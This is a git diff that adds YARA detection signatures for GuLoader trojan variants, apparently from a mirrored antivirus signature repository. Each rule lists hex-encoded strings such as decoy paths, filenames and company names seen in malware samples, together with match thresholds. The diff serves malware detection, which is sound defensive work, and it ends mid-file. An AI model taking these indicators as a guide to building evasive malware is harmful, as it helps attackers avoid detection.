a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAV_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAV_MTB.yar new file mode 100644 index 0000000000..a85848e531 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAV_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RAV_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 63 6f 6e 74 61 6d 69 6e 61 74 69 6f 6e 73 5c 64 72 69 6c 6c 65 73 79 67 65 73 74 65 } //1 \contaminations\drillesygeste + $a_81_1 = {25 72 65 6e 6e 61 73 65 73 25 5c 69 6e 64 6f 63 69 62 6c 65 6e 65 73 73 5c 66 69 6e 61 6e 73 6d 69 6e 69 73 74 72 65 6e 65 73 } //1 %rennases%\indocibleness\finansministrenes + $a_81_2 = {25 73 69 64 79 25 5c 6d 79 67 67 65 73 5c 56 69 64 6e 65 61 66 68 72 69 6e 67 65 72 73 } //1 %sidy%\mygges\Vidneafhringers + $a_81_3 = {61 73 65 6c 6c 61 74 65 5c 4d 75 6d 6d 65 72 79 31 31 39 2e 65 78 65 } //1 asellate\Mummery119.exe + $a_81_4 = {5c 62 6f 6c 73 6a 65 72 73 5c 49 6e 64 6c 73 65 6e 64 65 73 2e 69 6e 69 } //1 \bolsjers\Indlsendes.ini + $a_81_5 = {5c 6e 61 72 72 65 6e 65 5c 4b 61 72 74 65 75 73 65 72 31 32 35 2e 64 6c 6c } //1 \narrene\Karteuser125.dll + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAW_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAW_MTB.yar new file mode 100644 index 0000000000..81ae38cab5 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAW_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RAW_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 75 64 72 79 64 64 65 74 5c 42 65 6e 67 6e 61 76 65 72 6e 65 35 33 5c 75 64 74 75 72 65 6e 65 73 } //1 \udryddet\Bengnaverne53\udturenes + $a_81_1 = {73 6b 6f 76 6b 61 6e 74 65 72 5c 62 72 79 61 6e 5c 76 61 72 69 6f 63 75 6f 70 6c 65 72 } //1 skovkanter\bryan\variocuopler + $a_81_2 = {25 42 65 61 64 69 6e 67 73 25 5c 41 62 64 6f 6d 65 6e 5c 53 6d 69 72 63 68 69 6e 67 } //1 %Beadings%\Abdomen\Smirching + $a_81_3 = {5c 69 6e 74 65 72 72 75 70 74 65 72 5c 66 6f 74 6f 67 72 61 6d 6d 65 74 72 69 2e 6a 70 67 } //1 \interrupter\fotogrammetri.jpg + $a_81_4 = {5c 67 6f 72 76 61 72 65 68 61 6e 64 65 6c 65 6e 5c 6b 65 6e 64 65 6d 72 6b 65 72 73 2e 68 74 6d } //1 \gorvarehandelen\kendemrkers.htm + $a_81_5 = {6c 69 67 68 65 64 73 70 75 6e 6b 74 65 72 6e 65 2e 65 78 65 } //1 lighedspunkterne.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAX_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAX_MTB.yar new file mode 100644 index 0000000000..7469fbac19 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAX_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RAX_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 6b 72 69 6e 67 6c 65 72 6e 65 73 5c 6c 75 6d 62 65 72 6a 61 63 6b 73 } //1 \kringlernes\lumberjacks + $a_81_1 = {69 73 6d 65 6a 65 72 69 5c 63 6f 72 64 79 6c 61 6e 74 68 75 73 5c 73 75 70 70 6f 73 65 } //1 ismejeri\cordylanthus\suppose + $a_81_2 = {25 74 61 62 65 72 73 25 5c 61 66 6d 6f 6e 74 65 72 65 72 5c 64 69 6c 6c 65 72 64 61 6c 6c 65 72 } //1 %tabers%\afmonterer\dillerdaller + $a_81_3 = {5c 53 70 72 6f 67 62 72 75 67 65 72 6e 65 5c 65 6e 65 72 6e 65 2e 74 78 74 } //1 \Sprogbrugerne\enerne.txt + $a_81_4 = {62 75 67 67 79 6d 65 6e 20 63 6f 76 65 72 63 68 69 65 66 20 62 65 73 6f 74 74 69 6e 67 } //1 buggymen coverchief besotting + $a_81_5 = {6b 6f 72 72 6f 64 65 72 } //1 korroder + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAY_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAY_MTB.yar new file mode 100644 index 0000000000..49737ccc0a --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAY_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAY_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {64 65 6d 6f 6b 72 61 74 69 65 72 6e 65 73 5c 68 6f 72 6f 67 72 61 70 68 5c 73 74 75 70 6f 72 69 66 69 63 } //1 demokratiernes\horograph\stuporific + $a_81_1 = {25 74 68 75 72 73 74 25 5c 69 6e 64 73 6d 72 65 72 5c 77 61 6c 64 67 72 61 76 69 6e 65 } //1 %thurst%\indsmrer\waldgravine + $a_81_2 = {68 79 67 72 6f 6d 65 74 65 72 73 20 73 79 67 65 73 69 6b 72 69 6e 67 65 72 6e 65 20 6a 61 70 61 6e 6f 6c 61 74 72 79 } //1 hygrometers sygesikringerne japanolatry + $a_81_3 = {6b 61 6d 70 6b 75 6e 73 74 73 20 67 61 6d 62 75 73 69 61 20 73 6f 6e 64 72 69 6e 67 65 72 6e 65 } //1 kampkunsts gambusia sondringerne + $a_81_4 = {61 6c 63 68 65 6d 69 73 74 65 72 2e 65 78 65 } //1 alchemister.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAZ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAZ_MTB.yar new file mode 100644 index 0000000000..05606b28d8 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAZ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAZ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {70 6f 6c 63 70 72 20 76 69 6e 64 69 63 61 74 69 76 65 6c 79 20 61 66 73 69 67 65 6e 64 65 } //1 polcpr vindicatively afsigende + $a_81_1 = {75 6e 63 6f 67 65 6e 74 6c 79 20 69 6e 67 75 6c 66 } //1 uncogently ingulf + $a_81_2 = {6c 61 74 65 77 61 72 64 20 6c 6f 66 74 73 62 65 6c 79 73 6e 69 6e 67 65 6e 73 20 67 65 6e 65 76 69 75 67 76 65 73 } //1 lateward loftsbelysningens geneviugves + $a_81_3 = {62 61 73 73 65 74 74 20 75 6e 63 61 73 65 73 20 72 65 6e 65 67 6c 65 63 74 } //1 bassett uncases reneglect + $a_81_4 = {6c 69 67 67 65 70 6c 61 64 73 20 76 61 6c 65 6e 74 69 6e 6f 2e 65 78 65 } //1 liggeplads valentino.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBA_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBA_MTB.yar index ed206280a1..2626779175 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBA_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBA_MTB.yar @@ -1,5 +1,18 @@ rule Trojan_Win32_GuLoader_RBA_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {75 64 76 6c 67 65 6c 73 65 73 76 69 6e 64 75 65 74 73 } //1 udvlgelsesvinduets + $a_81_1 = {68 6f 65 6a 61 64 65 6c 65 6e } //1 hoejadelen + $a_81_2 = {73 65 6a 6c 62 61 61 64 73 } //1 sejlbaads + $a_81_3 = {68 69 67 68 63 6f 75 72 74 2e 65 78 65 } //1 highcourt.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule Trojan_Win32_GuLoader_RBA_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBB_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBB_MTB.yar index 32fd8503db..f2f12e3b13 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBB_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBB_MTB.yar @@ -1,5 +1,19 @@ rule Trojan_Win32_GuLoader_RBB_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {23 5c 69 6d 70 72 67 6e 65 72 69 6e 67 65 72 5c 42 6f 74 69 6c 6c 61 5c 68 6a 6c 70 65 66 69 6c 65 6e 73 } //1 #\imprgneringer\Botilla\hjlpefilens + $a_81_1 = {71 75 61 72 74 65 72 6c 61 6e 64 } //1 quarterland + $a_81_2 = {67 61 73 74 72 6f 70 68 69 6c 75 73 20 74 69 6d 65 66 6f 72 62 72 75 67 65 6e 65 73 } //1 gastrophilus timeforbrugenes + $a_81_3 = {73 74 65 70 72 65 6c 61 74 69 6f 6e 73 68 69 70 } //1 steprelationship + $a_81_4 = {67 72 75 6e 64 6c 6f 76 73 74 61 6c 65 6e 73 20 72 65 64 68 61 6e 64 65 64 6e 65 73 73 2e 65 78 65 } //1 grundlovstalens redhandedness.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} +rule Trojan_Win32_GuLoader_RBB_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBC_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBC_MTB.yar index 43da2a6eb4..1c7d6f47a2 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBC_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBC_MTB.yar @@ -12,4 +12,18 @@ rule Trojan_Win32_GuLoader_RBC_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 +} +rule Trojan_Win32_GuLoader_RBC_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {6c 65 76 6e 65 74 73 5c 73 65 6d 69 72 65 66 6c 65 78 69 76 65 6c 79 } //1 levnets\semireflexively + $a_81_1 = {5c 44 65 73 65 72 74 69 6f 6e 65 72 5c 75 73 6b 69 6b 6b 65 6e 2e 67 69 66 } //1 \Desertioner\uskikken.gif + $a_81_2 = {5c 61 61 6e 64 73 65 76 6e 65 72 5c 6e 61 74 72 69 63 69 6e 61 65 2e 69 6e 69 } //1 \aandsevner\natricinae.ini + $a_81_3 = {6f 70 6b 72 76 65 64 65 73 20 67 72 61 66 69 6b 70 72 6f 67 72 61 6d 6d 65 72 20 61 6e 74 69 74 72 61 67 61 6c } //1 opkrvedes grafikprogrammer antitragal + $a_81_4 = {6d 61 63 72 6f 73 79 6d 62 69 6f 6e 74 2e 65 78 65 } //1 macrosymbiont.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBD_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBD_MTB.yar index 5e3596e373..85a558cbd8 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBD_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBD_MTB.yar @@ -10,4 +10,18 @@ rule Trojan_Win32_GuLoader_RBD_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 +} +rule Trojan_Win32_GuLoader_RBD_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {6b 69 72 6b 65 67 61 6e 67 65 5c 62 61 6c 74 68 65 75 73 5c 64 69 67 72 65 73 73 69 6f 6e } //1 kirkegange\baltheus\digression + $a_81_1 = {50 72 65 63 6f 73 6d 69 63 61 6c 6c 79 5c 6d 75 6c 74 69 68 65 61 64 } //1 Precosmically\multihead + $a_81_2 = {25 73 65 61 63 72 6f 73 73 25 5c 73 6f 6c 63 72 65 6d 65 } //1 %seacross%\solcreme + $a_81_3 = {5c 6e 6f 6f 6b 79 5c 43 6f 6e 63 6f 6c 6f 75 72 2e 69 6e 69 } //1 \nooky\Concolour.ini + $a_81_4 = {5c 73 70 65 72 6d 61 74 69 61 } //1 \spermatia + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBE_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBE_MTB.yar index 6774c3eec7..53c5bcf0b0 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBE_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBE_MTB.yar @@ -11,4 +11,19 @@ rule Trojan_Win32_GuLoader_RBE_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=3 +} +rule Trojan_Win32_GuLoader_RBE_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 53 79 62 61 72 69 74 69 73 6d 5c 55 6e 64 65 72 70 72 69 6b 6b 65 64 65 } //1 \Sybaritism\Underprikkede + $a_81_1 = {53 6b 65 6d 61 6c 69 73 74 65 72 6e 65 2e 69 6e 69 } //1 Skemalisterne.ini + $a_81_2 = {5c 6b 6f 6e 74 6f 72 74 65 6c 65 66 6f 6e 5c 6f 63 74 61 76 61 6c 2e 6a 70 67 } //1 \kontortelefon\octaval.jpg + $a_81_3 = {61 66 6c 6f 65 73 6e 69 6e 67 73 6f 70 67 61 76 65 6e 20 71 75 61 6e 74 69 74 69 76 65 6e 65 73 73 } //1 afloesningsopgaven quantitiveness + $a_81_4 = {62 6f 6c 6c 65 72 } //1 boller + $a_81_5 = {6e 65 64 73 61 62 6c 69 6e 67 65 6e } //1 nedsablingen + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBF_MTB.yar index f283f887ba..e4b4e5fdfe 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBF_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBF_MTB.yar @@ -1,5 +1,19 @@ rule Trojan_Win32_GuLoader_RBF_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {46 6f 72 63 65 70 73 5c 72 65 73 74 69 67 6d 61 74 69 73 65 73 5c 54 6f 72 72 65 6e 63 65 } //1 Forceps\restigmatises\Torrence + $a_81_1 = {5c 44 65 6c 65 67 65 72 65 74 73 31 34 34 5c 64 61 6d 70 6e 69 6e 67 65 72 6e 65 2e 6b 69 6c } //1 \Delegerets144\dampningerne.kil + $a_81_2 = {5c 65 6e 74 65 72 6f 72 72 68 65 61 5c 6f 75 74 74 61 6b 65 2e 75 70 66 } //1 \enterorrhea\outtake.upf + $a_81_3 = {25 74 79 70 65 62 65 74 65 67 6e 65 6c 73 65 72 73 25 5c 63 68 6c 6f 72 69 6e 61 74 6f 72 5c 66 6f 67 65 64 72 65 74 74 65 72 6e 65 } //1 %typebetegnelsers%\chlorinator\fogedretterne + $a_81_4 = {6b 75 6e 73 74 67 64 6e 69 6e 67 65 72 73 20 6f 72 6b 65 73 74 65 72 67 72 61 76 65 6e 2e 65 78 65 } //1 kunstgdningers orkestergraven.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} +rule Trojan_Win32_GuLoader_RBF_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBG_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBG_MTB.yar index 5c91e1a8c9..8d4038c59f 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBG_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBG_MTB.yar @@ -11,4 +11,18 @@ rule Trojan_Win32_GuLoader_RBG_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 +} +rule Trojan_Win32_GuLoader_RBG_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {4b 6e 69 67 68 74 2d 52 69 64 64 65 72 20 49 6e 63 2e } //1 Knight-Ridder Inc. + $a_81_1 = {56 69 61 64 20 43 6f 72 70 } //1 Viad Corp + $a_81_2 = {4d 65 64 74 72 6f 6e 69 63 20 49 6e 63 2e } //1 Medtronic Inc. + $a_81_3 = {43 6f 6d 66 6f 72 74 20 53 79 73 74 65 6d 73 20 55 53 41 20 49 6e 63 2e } //1 Comfort Systems USA Inc. + $a_81_4 = {75 6e 72 65 77 6f 72 64 65 64 20 64 65 6d 69 6d 6f 6e 64 6e 2e 65 78 65 } //1 unreworded demimondn.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBH_MTB.yar index d77aa6fcad..97729ed2a6 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBH_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBH_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_Win32_GuLoader_RBH_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {70 6c 61 74 69 6c 6c 61 20 74 72 69 65 74 68 79 6c 73 74 69 62 69 6e 65 20 73 70 69 73 65 62 6c 65 72 73 } //1 platilla triethylstibine spiseblers + $a_81_1 = {73 61 74 61 6e 69 73 6d 20 66 61 69 72 6d } //1 satanism fairm + $a_81_2 = {79 61 72 6d 65 6c 6b 65 20 67 61 75 6e 74 2e 65 78 65 } //1 yarmelke gaunt.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} +rule Trojan_Win32_GuLoader_RBH_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBI_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBI_MTB.yar index 6220e0d4c9..fb76203f88 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBI_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBI_MTB.yar @@ -12,4 +12,18 @@ rule Trojan_Win32_GuLoader_RBI_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 +} +rule Trojan_Win32_GuLoader_RBI_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 72 65 70 65 74 72 70 72 5c 74 61 62 6c 6f 69 64 61 76 69 73 5c 70 6f 72 74 73 6d 6f 75 74 68 } //1 \repetrpr\tabloidavis\portsmouth + $a_81_1 = {2d 5c 62 65 74 61 67 65 6c 73 65 72 73 5c 73 74 69 66 69 6e 64 65 72 65 6e 73 2e 6a 70 67 } //1 -\betagelsers\stifinderens.jpg + $a_81_2 = {25 62 6c 67 65 64 65 25 5c 68 75 6d 6d 65 72 65 73 5c 75 6e 73 61 64 } //1 %blgede%\hummeres\unsad + $a_81_3 = {37 5c 66 79 6c 6b 65 5c 73 63 61 70 68 6f 63 65 72 69 74 65 2e 74 78 74 } //1 7\fylke\scaphocerite.txt + $a_81_4 = {66 75 6d 20 65 73 70 61 76 65 6c 2e 65 78 65 } //1 fum espavel.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBJ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBJ_MTB.yar index 174731adbe..eeb3fa1a90 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBJ_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBJ_MTB.yar @@ -1,5 +1,19 @@ rule Trojan_Win32_GuLoader_RBJ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 41 63 74 69 76 61 74 65 5c 43 61 6e 6e 69 62 61 6c 69 7a 61 74 69 6f 6e 5c 44 69 73 74 72 61 63 74 69 62 6c 65 } //1 \Activate\Cannibalization\Distractible + $a_81_1 = {6b 6f 6e 65 62 79 74 6e 69 6e 67 65 6e 73 5c 70 75 72 69 73 6d 65 6e 5c 70 79 67 6d 61 65 61 6e } //1 konebytningens\purismen\pygmaean + $a_81_2 = {25 41 7a 6f 74 75 72 69 61 25 5c 6c 75 6d 69 6e 61 } //1 %Azoturia%\lumina + $a_81_3 = {65 73 75 72 69 65 6e 63 65 20 69 6e 74 65 72 70 72 65 74 69 76 65 } //1 esurience interpretive + $a_81_4 = {61 6e 69 6d 68 64 72 20 76 69 63 65 76 72 74 65 6e 73 2e 65 78 65 } //1 animhdr vicevrtens.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} +rule Trojan_Win32_GuLoader_RBJ_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBK_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBK_MTB.yar index 764f76e0d9..8409e4945d 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBK_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBK_MTB.yar @@ -11,4 +11,17 @@ rule Trojan_Win32_GuLoader_RBK_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 +} +rule Trojan_Win32_GuLoader_RBK_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {5a 69 6f 6e 73 20 42 61 6e 63 6f 72 70 6f 72 61 74 69 6f 6e } //1 Zions Bancorporation + $a_81_1 = {4d 69 72 61 6e 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e } //1 Mirant Corporation + $a_81_2 = {52 65 67 69 6f 6e 73 20 46 69 6e 61 6e 63 69 61 6c 20 43 6f 72 70 2e } //1 Regions Financial Corp. + $a_81_3 = {61 6d 61 6c 67 61 6d 65 72 65 74 2e 65 78 65 } //1 amalgameret.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBL_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBL_MTB.yar index ee014de176..a94a1370e7 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBL_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBL_MTB.yar @@ -3,6 +3,19 @@ rule Trojan_Win32_GuLoader_RBL_MTB{ meta: description = "Trojan:Win32/GuLoader.RBL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + strings : + $a_81_0 = {57 65 73 74 50 6f 69 6e 74 20 53 74 65 76 65 6e 73 20 49 6e 63 } //1 WestPoint Stevens Inc + $a_81_1 = {56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e } //1 Valve Corporation + $a_81_2 = {4d 65 64 74 72 6f 6e 69 63 20 49 6e 63 2e } //1 Medtronic Inc. + $a_81_3 = {67 75 69 6c 74 69 65 73 74 2e 65 78 65 } //1 guiltiest.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule Trojan_Win32_GuLoader_RBL_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + strings : $a_81_0 = {73 75 62 66 6f 72 6d 61 74 69 76 65 6e 65 73 73 20 63 68 61 72 74 72 69 6e 67 65 6e 73 20 70 6a 6b 6b 65 72 69 65 74 } //1 subformativeness chartringens pjkkeriet $a_81_1 = {73 63 68 72 65 63 6b 6c 69 63 68 } //1 schrecklich diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBM_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBM_MTB.yar index db9e0cbce2..0e7148e31a 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBM_MTB.yar +++ 